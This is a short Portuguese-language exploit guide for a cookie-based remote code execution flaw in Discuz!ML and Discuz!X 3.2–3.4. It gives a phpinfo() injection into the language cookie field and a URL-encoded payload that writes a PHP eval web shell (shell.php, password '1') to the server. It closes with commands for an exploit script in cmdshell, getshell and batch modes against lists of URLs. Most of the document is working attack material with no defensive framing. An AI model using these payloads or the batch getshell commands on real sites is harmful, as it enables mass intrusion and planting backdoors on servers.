
Sistemas e versões afetados: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
Sistemas e versões afetados: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Causa da vulnerabilidade: o sistema Discuz!ML não filtra o conteúdo do parâmetro language recebido pelo campo l no cookie, resultando em concatenação de strings e, consequentemente, execução de código PHP.
Nos campos do cookie, aparece o campo xxxx_xxxx_language; a causa raiz é a injeção nesse campo, que leva ao RCE.
Capture o pacote, localize o valor de language no cookie e altere-o para
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 Na prática, é:
'.+file_put_contents('shell.php',urldecode('')).'
Assim, o arquivo shell.php será gerado no diretório, e a senha de conexão é 1.
============================================================================================================================================================== Verificar se a vulnerabilidade existe
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
Modo cmdshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
Modo getshell
python dz-ml-rce.py -f urls.txt
Detecção em lote
python dz-ml-rce.py -f urls.txt --getshell
GetShell em lote